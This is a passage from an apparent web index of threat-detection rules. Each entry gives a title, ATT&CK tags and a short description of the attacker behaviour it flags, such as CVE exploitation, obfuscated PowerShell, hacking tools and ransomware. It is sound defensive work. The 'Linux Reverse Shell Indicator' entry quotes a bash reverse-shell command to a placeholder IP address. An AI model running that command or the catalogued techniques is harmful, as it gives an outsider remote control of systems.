Detects possible successful exploitation for vulnerability described in CVE-2021-26858 by looking for creation of non-standard files on disk by Exchange Server’s Unified Messaging service which could indicate dropping web shells or other malicious content

Read More
CVE-2021-44077 POC Default Dropped File

Aug 12, 2024 · attack.execution cve.2021-44077 detection.emerging-threats ·
Share on:

Detects the creation of "msiexec.exe" in the "bin" directory of the ManageEngine SupportCenter Plus (Related to CVE-2021-44077) and public POC available (See references section)

Read More
CVE-2023-38331 Exploitation Attempt - Suspicious Double Extension File

Aug 12, 2024 · attack.execution cve.2023-38331 detection.emerging-threats ·
Share on:

Detects the creation of a file with a double extension and a space by WinRAR. This could be a sign of exploitation of CVE-2023-38331

Read More
CVE-2023-40477 Potential Exploitation - .REV File Creation

Aug 12, 2024 · attack.execution cve.2023-40477 detection.emerging-threats ·
Share on:

Detects the creation of ".rev" files by WinRAR. Could be indicative of potential exploitation of CVE-2023-40477. Look for a suspicious execution shortly after creation or a WinRAR application crash.

Read More
CVE-2023-40477 Potential Exploitation - WinRAR Application Crash

Aug 12, 2024 · attack.execution cve.2023-40477 detection.emerging-threats ·
Share on:

Detects a crash of "WinRAR.exe" where the version is lower than 6.23. This could indicate potential exploitation of CVE-2023-40477

Read More
DarkSide Ransomware Pattern

Aug 12, 2024 · attack.execution attack.t1204 detection.emerging-threats ·
Share on:

Detects DarkSide Ransomware and helpers

Read More
Detection of PowerShell Execution via Sqlps.exe

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1127 ·
Share on:

This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.

Read More
DLL Load via LSASS

Aug 12, 2024 · attack.execution attack.persistence attack.t1547.008 ·
Share on:

Detects a method to load DLL via LSASS process using an undocumented Registry key

Read More
DNS Events Related To Mining Pools

Aug 12, 2024 · attack.execution attack.t1569.002 attack.impact attack.t1496 ·
Share on:

Identifies clients that may be performing DNS lookups associated with common currency mining pools.

Read More
DNS Query Request By Regsvr32.EXE

Aug 12, 2024 · attack.execution attack.t1559.001 attack.defense-evasion attack.t1218.010 ·
Share on:

Detects DNS queries initiated by "Regsvr32.exe"

Read More
DNS RCE CVE-2020-1350

Aug 12, 2024 · attack.initial-access attack.t1190 attack.execution attack.t1569.002 cve.2020-1350 detection.emerging-threats ·
Share on:

Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process

Read More
DotNET Assembly DLL Loaded Via Office Application

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects any assembly DLL being loaded by an Office Product

Read More
DotNet CLR DLL Loaded By Scripting Applications

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.t1055 ·
Share on:

Detects .NET CLR DLLs being loaded by scripting applications such as wscript or cscript. This could be an indication of potential suspicious execution.

Read More
Download From Suspicious TLD - Blacklist

Aug 12, 2024 · attack.initial-access attack.t1566 attack.execution attack.t1203 attack.t1204.002 ·
Share on:

Detects download of certain file types from hosts in suspicious TLDs

Read More
Download From Suspicious TLD - Whitelist

Aug 12, 2024 · attack.initial-access attack.t1566 attack.execution attack.t1203 attack.t1204.002 ·
Share on:

Detects executable downloads from suspicious remote systems

Read More
Droppers Exploiting CVE-2017-11882

Aug 12, 2024 · attack.execution attack.t1203 attack.t1204.002 attack.initial-access attack.t1566.001 cve.2017-11882 detection.emerging-threats ·
Share on:

Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe

Read More
Dump Ntds.dit To Suspicious Location

Aug 12, 2024 · attack.execution ·
Share on:

Detects potential abuse of ntdsutil to dump ntds.dit database to a suspicious location

Read More
Elise Backdoor Activity

Aug 12, 2024 · attack.g0030 attack.g0050 attack.s0081 attack.execution attack.t1059.003 detection.emerging-threats ·
Share on:

Detects Elise backdoor activity used by APT32

Read More
Enable BPF Kprobes Tracing

Aug 12, 2024 · attack.execution attack.defense-evasion ·
Share on:

Detects common command used to enable bpf kprobes tracing

Read More
Enable Microsoft Dynamic Data Exchange

Aug 12, 2024 · attack.execution attack.t1559.002 ·
Share on:

Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.

Read More
Equation Group Indicators

Aug 12, 2024 · attack.execution attack.g0020 attack.t1059.004 ·
Share on:

Detects suspicious shell commands used in various Equation Group scripts and tools

Read More
Exchange PowerShell Snap-Ins Usage

Aug 12, 2024 · attack.execution attack.t1059.001 attack.collection attack.t1114 ·
Share on:

Detects adding and using Exchange PowerShell snap-ins to export mailbox data. As seen used by HAFNIUM and APT27

Read More
Execute Code with Pester.bat

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1216 ·
Share on:

Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)

Read More
Execute Code with Pester.bat as Parent

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1216 ·
Share on:

Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)

Read More
Execute MSDT Via Answer File

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.execution ·
Share on:

Detects execution of "msdt.exe" using an answer file which is simulating the legitimate way of calling msdt via "pcwrun.exe" (For example from the compatibility tab)

Read More
Execute Pcwrun.EXE To Leverage Follina

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.execution ·
Share on:

Detects indirect command execution via Program Compatibility Assistant "pcwrun.exe" leveraging the follina (CVE-2022-30190) vulnerability

Read More
Execution of Powershell Script in Public Folder

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

This rule detects execution of PowerShell scripts located in the "C:\Users\Public" folder

Read More
Execution Of Script Located In Potentially Suspicious Directory

Aug 12, 2024 · attack.execution ·
Share on:

Detects executions of scripts located in potentially suspicious locations such as "/tmp" via a shell such as "bash", "sh", etc.

Read More
Exploit for CVE-2017-0261

Aug 12, 2024 · attack.execution attack.t1203 attack.t1204.002 attack.initial-access attack.t1566.001 cve.2017-0261 detection.emerging-threats ·
Share on:

Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262

Read More
Exploit for CVE-2017-8759

Aug 12, 2024 · attack.execution attack.t1203 attack.t1204.002 attack.initial-access attack.t1566.001 cve.2017-8759 detection.emerging-threats ·
Share on:

Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759

Read More
Exploited CVE-2020-10189 Zoho ManageEngine

Aug 12, 2024 · attack.initial-access attack.t1190 attack.execution attack.t1059.001 attack.t1059.003 attack.s0190 cve.2020-10189 detection.emerging-threats ·
Share on:

Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189

Read More
Exploiting SetupComplete.cmd CVE-2019-1378

Aug 12, 2024 · attack.privilege-escalation attack.t1068 attack.execution attack.t1059.003 attack.t1574 cve.2019-1378 detection.emerging-threats ·
Share on:

Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378

Read More
File Decryption Using Gpg4win

Aug 12, 2024 · attack.execution ·
Share on:

Detects usage of Gpg4win to decrypt files

Read More
File Encryption Using Gpg4win

Aug 12, 2024 · attack.execution ·
Share on:

Detects usage of Gpg4win to encrypt files

Read More
File Encryption/Decryption Via Gpg4win From Suspicious Locations

Aug 12, 2024 · attack.execution ·
Share on:

Detects usage of Gpg4win to encrypt/decrypt files located in potentially suspicious locations.

Read More
File Was Not Allowed To Run

Aug 12, 2024 · attack.execution attack.t1204.002 attack.t1059.001 attack.t1059.003 attack.t1059.005 attack.t1059.006 attack.t1059.007 ·
Share on:

Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events.

Read More
File With Uncommon Extension Created By An Office Application

Aug 12, 2024 · attack.t1204.002 attack.execution ·
Share on:

Detects the creation of files with an executable or script extension by an Office application.

Read More
Fireball Archer Install

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218.011 detection.emerging-threats ·
Share on:

Detects Archer malware invocation via rundll32

Read More
Flash Player Update from Suspicious Location

Aug 12, 2024 · attack.initial-access attack.t1189 attack.execution attack.t1204.002 attack.defense-evasion attack.t1036.005 ·
Share on:

Detects a flashplayer update from an unofficial location

Read More
Forfiles Command Execution

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects the execution of "forfiles" with the "/c" flag. While this is an expected behavior of the tool, it can be abused in order to proxy execution through it with any binary. Can be used to bypass application whitelisting.

Read More
Fsutil Behavior Set SymlinkEvaluation

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

A symbolic link is a type of file that contains a reference to another file. This is probably done to make sure that the ransomware is able to follow shortcuts on the machine in order to find the original file to encrypt

Read More
GAC DLL Loaded Via Office Applications

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects any GAC DLL being loaded by an Office Product

Read More
Goofy Guineapig Backdoor IOC

Aug 12, 2024 · attack.execution attack.defense-evasion detection.emerging-threats ·
Share on:

Detects malicious indicators seen used by the Goofy Guineapig malware

Read More
Google Cloud Kubernetes CronJob

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.execution ·
Share on:

Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.

Read More
Greenbug Espionage Group Indicators

Aug 12, 2024 · attack.g0049 attack.execution attack.t1059.001 attack.command-and-control attack.t1105 attack.defense-evasion attack.t1036.005 detection.emerging-threats ·
Share on:

Detects tools and process executions used by Greenbug in their May 2020 campaign as reported by Symantec

Read More
Griffon Malware Attack Pattern

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects process execution patterns related to Griffon malware as reported by Kaspersky

Read More
HackTool - Bloodhound/Sharphound Execution

Aug 12, 2024 · attack.discovery attack.t1087.001 attack.t1087.002 attack.t1482 attack.t1069.001 attack.t1069.002 attack.execution attack.t1059.001 ·
Share on:

Detects command line parameters used by Bloodhound and Sharphound hack tools

Read More
HackTool - CACTUSTORCH Remote Thread Creation

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1055.012 attack.t1059.005 attack.t1059.007 attack.t1218.005 ·
Share on:

Detects remote thread creation from CACTUSTORCH as described in references.

Read More
HackTool - CobaltStrike BOF Injection Pattern

Aug 12, 2024 · attack.execution attack.t1106 attack.defense-evasion attack.t1562.001 ·
Share on:

Detects a typical pattern of a CobaltStrike BOF which inject into other processes

Read More
HackTool - Covenant PowerShell Launcher

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1059.001 attack.t1564.003 ·
Share on:

Detects suspicious command lines used in Covenant luanchers

Read More
HackTool - CrackMapExec Execution

Aug 12, 2024 · attack.execution attack.persistence attack.privilege-escalation attack.credential-access attack.discovery attack.t1047 attack.t1053 attack.t1059.003 attack.t1059.001 attack.t1110 attack.t1201 ·
Share on:

This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.

Read More
HackTool - CrackMapExec Execution Patterns

Aug 12, 2024 · attack.execution attack.t1047 attack.t1053 attack.t1059.003 attack.t1059.001 attack.s0106 ·
Share on:

Detects various execution patterns of the CrackMapExec pentesting framework

Read More
HackTool - CrackMapExec PowerShell Obfuscation

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1027.005 ·
Share on:

The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule.

Read More
HackTool - Default PowerSploit/Empire Scheduled Task Creation

Aug 12, 2024 · attack.execution attack.persistence attack.privilege-escalation attack.s0111 attack.g0022 attack.g0060 car.2013-08-001 attack.t1053.005 attack.t1059.001 ·
Share on:

Detects the creation of a schtask via PowerSploit or Empire Default Configuration.

Read More
HackTool - Empire PowerShell Launch Parameters

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious powershell command line parameters used in Empire

Read More
HackTool - Impacket Tools Execution

Aug 12, 2024 · attack.execution attack.t1557.001 ·
Share on:

Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives)

Read More
HackTool - Jlaive In-Memory Assembly Execution

Aug 12, 2024 · attack.execution attack.t1059.003 ·
Share on:

Detects the use of Jlaive to execute assemblies in a copied PowerShell

Read More
HackTool - Koadic Execution

Aug 12, 2024 · attack.execution attack.t1059.003 attack.t1059.005 attack.t1059.007 ·
Share on:

Detects command line parameters used by Koadic hack tool

Read More
HackTool - LittleCorporal Generated Maldoc Injection

Aug 12, 2024 · attack.execution attack.t1204.002 attack.t1055.003 ·
Share on:

Detects the process injection of a LittleCorporal generated Maldoc.

Read More
HackTool - Potential Impacket Lateral Movement Activity

Aug 12, 2024 · attack.execution attack.t1047 attack.lateral-movement attack.t1021.003 ·
Share on:

Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework

Read More
HackTool - RedMimicry Winnti Playbook Execution

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1106 attack.t1059.003 attack.t1218.011 ·
Share on:

Detects actions caused by the RedMimicry Winnti playbook a automated breach emulations utility

Read More
HackTool - Sliver C2 Implant Activity Pattern

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects process activity patterns as seen being used by Sliver C2 framework implants

Read More
HackTool Service Registration or Execution

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects installation or execution of services

Read More
Hardware Model Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 car.2016-03-002 ·
Share on:

Detects the execution of WMIC with the "csproduct" which is used to obtain information such as hardware models and vendor information

Read More
Hermetic Wiper TG Process Patterns

Aug 12, 2024 · attack.execution attack.lateral-movement attack.t1021.001 detection.emerging-threats ·
Share on:

Detects process execution patterns found in intrusions related to the Hermetic Wiper malware attacks against Ukraine in February 2022

Read More
Hidden Powershell in Link File Pattern

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects events that appear when a user click on a link file with a powershell command in it

Read More
HTML Help HH.EXE Suspicious Child Process

Aug 12, 2024 · attack.defense-evasion attack.execution attack.initial-access attack.t1047 attack.t1059.001 attack.t1059.003 attack.t1059.005 attack.t1059.007 attack.t1218 attack.t1218.001 attack.t1218.010 attack.t1218.011 attack.t1566 attack.t1566.001 ·
Share on:

Detects a suspicious child process of a Microsoft HTML Help (HH.exe)

Read More
IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols Via CLI

Aug 12, 2024 · attack.execution attack.defense-evasion ·
Share on:

Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the "HTTP" and "HTTPS" protocols to point to the "My Computer" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.

Read More
ImagingDevices Unusual Parent/Child Processes

Aug 12, 2024 · attack.defense-evasion attack.execution ·
Share on:

Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) process as seen being used with Bumblebee activity

Read More
Import PowerShell Modules From Suspicious Directories

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects powershell scripts that import modules from suspicious directories

Read More
Import PowerShell Modules From Suspicious Directories - ProcCreation

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects powershell scripts that import modules from suspicious directories

Read More
Important Scheduled Task Deleted/Disabled

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.persistence attack.t1053.005 ·
Share on:

Detects when adversaries stop services or processes by deleting or disabling their respective scheduled tasks in order to conduct data destructive activities

Read More
Indirect Command Execution By Program Compatibility Wizard

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.execution ·
Share on:

Detect indirect command execution via Program Compatibility Assistant pcwrun.exe

Read More
Insecure Proxy/DOH Transfer Via Curl.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of "curl.exe" with the "insecure" flag over proxy or DOH.

Read More
Insecure Transfer Via Curl.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of "curl.exe" with the "--insecure" flag.

Read More
Install New Package Via Winget Local Manifest

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059 ·
Share on:

Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe, msi or msix files later.

Read More
Interactive Bash Suspicious Children

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1059.004 attack.t1036 ·
Share on:

Detects suspicious interactive bash as a parent to rather uncommon child processes

Read More
Invoke-Obfuscation CLIP+ Launcher

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Clip.exe to execute PowerShell

Read More
Invoke-Obfuscation CLIP+ Launcher - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Clip.exe to execute PowerShell

Read More
Invoke-Obfuscation CLIP+ Launcher - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Clip.exe to execute PowerShell

Read More
Invoke-Obfuscation CLIP+ Launcher - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Clip.exe to execute PowerShell

Read More
Invoke-Obfuscation CLIP+ Launcher - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Clip.exe to execute PowerShell

Read More
Invoke-Obfuscation COMPRESS OBFUSCATION

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

Read More
Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

Read More
Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

Read More
Invoke-Obfuscation COMPRESS OBFUSCATION - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

Read More
Invoke-Obfuscation COMPRESS OBFUSCATION - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

Read More
Invoke-Obfuscation Obfuscated IEX Invocation

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block

Read More
Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \u2014

Read More
Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below

Read More
Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via RUNDLL LAUNCHER

Read More
Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via RUNDLL LAUNCHER

Read More
Invoke-Obfuscation RUNDLL LAUNCHER - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via RUNDLL LAUNCHER

Read More
Invoke-Obfuscation RUNDLL LAUNCHER - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via RUNDLL LAUNCHER

Read More
Invoke-Obfuscation STDIN+ Launcher

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of stdin to execute PowerShell

Read More
Invoke-Obfuscation STDIN+ Launcher - Powershell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of stdin to execute PowerShell

Read More
Invoke-Obfuscation STDIN+ Launcher - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of stdin to execute PowerShell

Read More
Invoke-Obfuscation STDIN+ Launcher - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of stdin to execute PowerShell

Read More
Invoke-Obfuscation STDIN+ Launcher - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of stdin to execute PowerShell

Read More
Invoke-Obfuscation VAR+ Launcher

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Environment Variables to execute PowerShell

Read More
Invoke-Obfuscation VAR+ Launcher - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Environment Variables to execute PowerShell

Read More
Invoke-Obfuscation VAR+ Launcher - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Environment Variables to execute PowerShell

Read More
Invoke-Obfuscation VAR+ Launcher - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Environment Variables to execute PowerShell

Read More
Invoke-Obfuscation VAR+ Launcher - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Environment Variables to execute PowerShell

Read More
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via VAR++ LAUNCHER

Read More
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via VAR++ LAUNCHER

Read More
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via VAR++ LAUNCHER

Read More
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via VAR++ LAUNCHER

Read More
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via VAR++ LAUNCHER

Read More
Invoke-Obfuscation Via Stdin

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via Stdin in Scripts

Read More
Invoke-Obfuscation Via Stdin - Powershell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via Stdin in Scripts

Read More
Invoke-Obfuscation Via Stdin - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via Stdin in Scripts

Read More
Invoke-Obfuscation Via Stdin - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via Stdin in Scripts

Read More
Invoke-Obfuscation Via Stdin - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via Stdin in Scripts

Read More
Invoke-Obfuscation Via Use Clip

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Clip.exe in Scripts

Read More
Invoke-Obfuscation Via Use Clip - Powershell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Clip.exe in Scripts

Read More
Invoke-Obfuscation Via Use Clip - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Clip.exe in Scripts

Read More
Invoke-Obfuscation Via Use Clip - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Clip.exe in Scripts

Read More
Invoke-Obfuscation Via Use Clip - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Clip.exe in Scripts

Read More
Invoke-Obfuscation Via Use MSHTA

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use MSHTA in Scripts

Read More
Invoke-Obfuscation Via Use MSHTA - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use MSHTA in Scripts

Read More
Invoke-Obfuscation Via Use MSHTA - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use MSHTA in Scripts

Read More
Invoke-Obfuscation Via Use MSHTA - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use MSHTA in Scripts

Read More
Invoke-Obfuscation Via Use MSHTA - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use MSHTA in Scripts

Read More
Invoke-Obfuscation Via Use Rundll32 - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Rundll32 in Scripts

Read More
Invoke-Obfuscation Via Use Rundll32 - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Rundll32 in Scripts

Read More
Invoke-Obfuscation Via Use Rundll32 - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Rundll32 in Scripts

Read More
Invoke-Obfuscation Via Use Rundll32 - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Rundll32 in Scripts

Read More
JAMF MDM Execution

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of the "jamf" binary to create user accounts and run commands. For example, the binary can be abused by attackers on the system in order to bypass security controls or remove application control polices.

Read More
JAMF MDM Potential Suspicious Child Process

Aug 12, 2024 · attack.execution ·
Share on:

Detects potential suspicious child processes of "jamf". Could be a sign of potential abuse of Jamf as a C2 server as seen by Typhon MythicAgent.

Read More
Java Running with Remote Debugging

Aug 12, 2024 · attack.t1203 attack.execution ·
Share on:

Detects a JAVA process running with remote debugging allowing more than just localhost to connect

Read More
JexBoss Command Sequence

Aug 12, 2024 · attack.execution attack.t1059.004 ·
Share on:

Detects suspicious command sequence that JexBoss

Read More
JXA In-memory Execution Via OSAScript

Aug 12, 2024 · attack.t1059.002 attack.t1059.007 attack.execution ·
Share on:

Detects possible malicious execution of JXA in-memory via OSAScript

Read More
Kubernetes CronJob/Job Modification

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.execution ·
Share on:

Detects when a Kubernetes CronJob or Job is created or modified. A Kubernetes Job creates one or more pods to accomplish a specific task, and a CronJob creates Jobs on a recurring schedule. An adversary can take advantage of this Kubernetes object to schedule Jobs to run containers that execute malicious code within a cluster, allowing them to achieve persistence.

Read More
Lazarus Group Activity

Aug 12, 2024 · attack.g0032 attack.execution attack.t1059 detection.emerging-threats ·
Share on:

Detects different process execution behaviors as described in various threat reports on Lazarus group activity

Read More
Linux Reverse Shell Indicator

Aug 12, 2024 · attack.execution attack.t1059.004 ·
Share on:

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

Read More
Loading Diagcab Package From Remote Path

Aug 12, 2024 · attack.execution ·
Share on:

Detects loading of diagcab packages from a remote path, as seen in DogWalk vulnerability

Read More
Local File Read Using Curl.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of "curl.exe" with the "file://" protocol handler in order to read local files.

Read More
Logged-On User Password Change Via Ksetup.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects password change for the logged-on user's via "ksetup.exe"

Read More
MacOS Scripting Interpreter AppleScript

Aug 12, 2024 · attack.execution attack.t1059.002 ·
Share on:

